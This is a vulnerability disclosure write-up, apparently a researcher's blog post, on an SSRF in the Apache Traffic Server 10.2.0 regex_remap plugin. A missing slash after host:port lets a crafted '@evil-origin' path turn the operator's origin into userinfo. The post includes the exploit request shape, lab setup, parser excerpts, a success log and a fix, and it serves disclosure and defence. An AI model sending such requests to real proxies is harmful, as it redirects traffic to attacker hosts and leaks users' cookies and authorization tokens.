ATS 10.2.0 regex_remap noslash $n userinfo SSRF
Apache Traffic Server 10.2.0 regex_remap $n concatenated immediately after host:port with no slash is parsed as RFC 3986 userinfo. The operator origin becomes userinfo and the attacker host becomes the origin. Cookie and Authorization are forwarded. Documented http://origin/$1 stays on origin. Labbed. No CVE yet.
- Name
- ATS 10.2.0 regex_remap noslash $n userinfo SSRF
- Type
- 0-day analysis
- CVE
- n/a
- CVE Risk
- high
- Disclosure Status
- public
- Vendor
- Apache Traffic Server (ASF)
- Affected
- Apache Traffic Server 10.2.0 (b1df7334) regex_remap.so. Leftover is http://origin:port$1 (no slash). Plugin not loaded by default.
- Published
- 13 Oct 2026
- Updated
- 14 Oct 2026
- Tags
- 0-day, trafficserver, regex_remap, ssrf, remote, cwe-918
The slash was the whole defense.
The proof of concept is on GitHub: abraxas/ats-regex-remap-userinfo (loopback client; @abraxas_null). The lab stack is lab/: Dockerfile, docker-compose.yml, run.sh, poc.py, remap/rules-noslash, conf/remap.config. Authorized lab only. It talks to loopback.
This is Apache Traffic Server 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6). No CVE yet. CWE-918. 8.6 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N). Remote SSRF. regex_remap.so loaded. Not default plugin.config.
regex_remap $n substitution is concatenated into a string and fed to TSUrlParse, which url_clears then parses as a full URL. A capture that begins with @ is RFC 3986 userinfo. The operator origin becomes userinfo. The attacker host becomes the origin. Cookie and Authorization are forwarded as the ATS uid.
The leftover is http://origin:port$1 with no slash. Documented http://origin/$1 stays on the operator origin because the slash ends authority. I tried the documented shape first. It stayed. Then I dropped the slash. It did not stay.
Why regex_remap after the default doors
Stock 10.2.0 does not load this plugin. Empty plugin.config. A leftover here is config-gated. I still wanted High: unauth HTTP, origin takeover, credentials forwarded, changed scope. That is SSRF with S:C, not a WAF regex footgun.
I only wanted Critical or High. Operator-written unanchored regex after CVE-2026-22068 is the documented contract. url_len VLA is patched. Core regex_map host is full-anchored. Those wait.
Pinning 10.2.0
Same peel: tag 10.2.0, commit b1df7334b39a878971c376da849e8da4984918b6, image ats-10.2.0-lab:local. Gold tests for this plugin never exercise $n / $h. That is coverage, not a memory bug, and it is why the userinfo walk was still sitting there.
The skip list, for this plugin
- CVE-2026-58179 regex_remap url_len stack.
LocalBufferheap-allocates above 16KB. VLA gone. - CVE-2026-22068 unanchored regex ACL/SNI/plugin. Core
regex_mapcompilesRE_ANCHORED | RE_ENDANCHORED. Plugin regex that is still unanchored is documented (regex-best-practices.en.rst). remap_required: 0open relay. Misconfig. Lab stayed at 1.
Three vhosts, one subst each
TSRemapDoRemap builds the dest from $n and calls TSUrlParse on the whole buffer (regex_remap.cc:1159-1168). URL.cc @ is userinfo (:1313-1327):
case '@': // user/password marker.
if (user || n_colon > 1) {
return ParseResult::ERROR;
}
...
user.assign(base, cur);
++cur;
base = cur;
break;Concatenate http://good-origin:8080 + @evil-origin:8080/x and the parser does exactly what RFC 3986 says. userinfo=good-origin:8080. host=evil-origin. port from the new authority.
Documented subst http://good-origin:8080/$1 with path /@evil-origin:8080/x becomes http://good-origin:8080/@evil-origin:8080/x. Slash already ended authority. @evil-origin... is path. Stayed on good-origin.
Noslash subst http://good-origin:8080$1 becomes http://good-origin:8080@evil-origin:8080/x. That is the leftover.
http://$1 also reached evil-origin. That is an operator who put $n in the authority. Different mistake. I recorded it. I did not need it.
The lab
Three origins-worth of containers: good-origin, evil-origin, ATS. Compose project ats-regex-remap-userinfo. Loopback ATS 127.0.0.1:18730. Evil origin also published on 18731 so the PoC can prove the witness exists without going through ATS.
Three vhosts:
lab-slash.example->http://good-origin:8080/$1lab-noslash.example->http://good-origin:8080$1lab-dollar.example->http://$1
CONTROL: GET /ok Host lab-slash.example stayed on good-origin. Body GOOD. No witness.
POC path /@evil-origin:8080/x with Cookie lab=ATS-REGEX-REMAP-USERINFO-WITNESS and Authorization: Bearer lab-ats-uid.
Slash stayed good. Noslash returned the witness from evil-origin, origin=evil, cookie forwarded, authorization forwarded. Dollar-at and dollar-host also evil.
Last line:
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESSReplay against loopback. cd lab &&./run.sh.
Wrong turns, in the order I made them
Filing the documented slash shape. Admin guide samples look like http://origin/$1. That shape is path, not userinfo. CONTROL proved it. I almost stopped there.
Treating core regex_map as this plugin. regex_map host is full-anchored. This is regex_remap.so subst into TSUrlParse. Different file.
Inflating url_len VLA. Patched. LocalBuffer. Not this leftover.
Treating http://$1 as the only leftover. That is an operator who put the capture in the authority. The unpublished High is the noslash concat that still has an operator host on the left.
Open relay. remap_required stayed 1. Unmapped hosts 404. The leftover is a mapped vhost with a bad subst.
A reverse shell. Theatre. The oracle is an origin body plus forwarded Cookie / Authorization.
What an attacker can do
Unauth HTTP to a vhost whose remap loads regex_remap.so with $n immediately after host:port, no slash.
| Method | Sink | Privilege |
|---|---|---|
GET /@evil-origin:8080/x with subst http://good-origin:8080$1 |
TSUrlParse after url_clear (regex_remap.cc:1159-1168, URL.cc:1313-1327) |
Integrity / SSRF (lab-proven): ATS dials evil-origin:8080 as origin (userinfo=good-origin:8080). Cookie and Authorization forwarded. |
| Same | attacker-origin body | Recon (lab-proven): ATS-REGEX-REMAP-USERINFO-WITNESS returned to the client. cookie-fwd=True authorization-fwd=True. |
Documented subst http://good-origin:8080/$1 |
authority ends at / |
Closed (lab-proven): stayed on good-origin. |
Subst http://$1 |
operator put $n in authority |
SSRF (lab-proven): also reached evil-origin. Different operator mistake. |
Lab-proven vs inferred: noslash leftover, documented slash stays, dollar shapes, Cookie and Authorization forwarded, control /ok: lab. What the attacker-origin can do with those headers is whatever that host already is.
Requires: regex_remap plugin. Map with subst http://origin:port$1. Plugin not loaded by default.
You get ATS as a client to a host you chose, with the victim's Cookie and Authorization, not an open relay, not core regex_map, not a stack overflow of $n. Scope changes because the origin is no longer the operator's.
Adjacent surface that stays closed
| Surface | Lab |
|---|---|
Documented http://origin/$1 |
slash=good |
Core regex_map host |
RE_ANCHORED|RE_ENDANCHORED |
| url_len stack | LocalBuffer |
remap_required: 0 open relay |
not used |
CONTROL GET /ok |
good-origin, no witness |
The fix
Do not concatenate $n into the authority. Keep a slash between host and capture, or parse the subst as path-only. Reject a dest whose host is not the operator origin. Strip userinfo from plugin-built URLs. Docs should stop implying http://origin/$1 is the only shape operators write.
Until then, a remap of http://origin:port$1 is an origin takeover for any client who can put @host in the capture.
I am not going to print a Host header you can paste at someone else's regex_remap vhost. The missing slash is the useful part. If you own the proxy, run the proof of concept against loopback.
References
- Proof of concept: abraxas/ats-regex-remap-userinfo · ats-regex-remap-userinfo-Abraxas-Labs.py
- Lab:
lab/· Dockerfile · docker-compose.yml · run.sh · poc.py - @abraxas_null · github.com/abraxas · abraxaslabs.tech · abraxas.null@proton.me
- CWE-918
- Tree: apache/trafficserver 10.2.0 (
b1df7334b39a878971c376da849e8da4984918b6) ·regex_remap.cc·URL.cc·InkAPI.cc